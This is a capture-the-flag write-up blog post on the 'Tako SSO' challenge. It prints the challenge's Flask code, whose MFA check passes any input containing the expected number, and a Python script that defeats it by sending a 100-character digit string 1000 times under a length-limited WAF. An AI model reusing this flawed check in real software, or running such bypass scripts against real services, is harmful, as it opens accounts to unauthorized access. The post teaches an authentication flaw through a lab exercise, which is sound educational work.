Robert Babaev
Posted on May 23, 2022
Additional Solve Credit:
- Alexandra Tenney
- Cat Whisperer
- James Lowther
Multifactor authentication is arguably a core concept in cyber security, and doing it wrong can have catastrophic consequences. So let's take a look at Tako SSO, Ouyaya's SSO provider that's totally secure as always.
Recon
You're given creds for the web app. More or less immediately, you can get the source code in the comments of the HTML. Looks like a Flask App.
from flask import Flask, session, render_template, request
from flask_session import Session
import secrets
from flask_json import FlaskJSON, JsonError, json_response, as_json
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
Session(app)
FlaskJSON(app)
@app.route("/")
def set():
session['tries'] = session.get('tries',0)
return render_template('index.html')
@app.route("/guess", methods=['POST'])
def guess():
session['tries'] = int(session.get('tries',0))
x = secrets.randbelow(100)
data = request.get_json(force=True)
value= data['value']
if str(x) in value:
session['tries'] = session['tries'] + 1
if session['tries'] > 1000:
msg = "The flag is CHANGEME"
else:
msg = "This is the value expected. You are at " + str(session['tries']) + " out of 1000. Sending a new challenge"
else:
msg = "I expected the challenge value " + str(x) + " Resetting you to 0 tries. Good luck"
session['tries'] = 0
return msg
So it looks like our main point of attack is the "/guess" endpoint, which is where we do the actual authentication. We have to do 1000 successful attempts consecutively, which has a (1/100)^1000 chance of happening by pure chance, or in other words after the heat death of the universe on most machines that aren't the Hot Wheels PC.
But there's a critical flaw in the code.
if str(x) in value:
That just checks if the number is in the input. So we have an attack of just sending a massive string of every number from 0 to 99, right?
Wrong!
Trying to send a string of every number gets a WAF block. And it looks like strings of length 100 and under go through. But every number in a string is above 600, can we condense that?
There exists a mathematical concept known as the de Bruijn sequence. To skip the boring math stuff, it's basically a more efficient brute force combination generator, that inherently makes shorter brute force sequences since duplicates are removed. It's used in image depixelation programs, which is where I learned about it.
So, using a de Bruijn sequence with a space of 10 characters (digits 0-9) and strings of length 2 (since, inherently, every number from 0-9 will be represented). A bit of manipulation to get 90 in the list, and fitting it to 100 characters, and our team wrote the following final exploit:
import requests
def main():
cookies = {
"session": "0dded050-e2f1-44e7-befd-14b263c74bb3"
}
json = {
"value": "102030405060708091121314151617181922324252627282933435363738394454647484955657585966768697787988990"
}
for i in range(1000):
r = requests.post("http://tako-sso.ctf/guess", cookies=cookies, json=json, proxies={
"http": "http://localhost:8080",
"https": "http://localhost:8080",
})
print(r.text)
main()
Flag-CaptchaShr00m
Conclusion
Tako SSO was a good challenge, highlighting the importance of proper checks and not relying on WAF to do your security.
Posted on May 23, 2022
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.
Related
October 23, 2024
November 11, 2024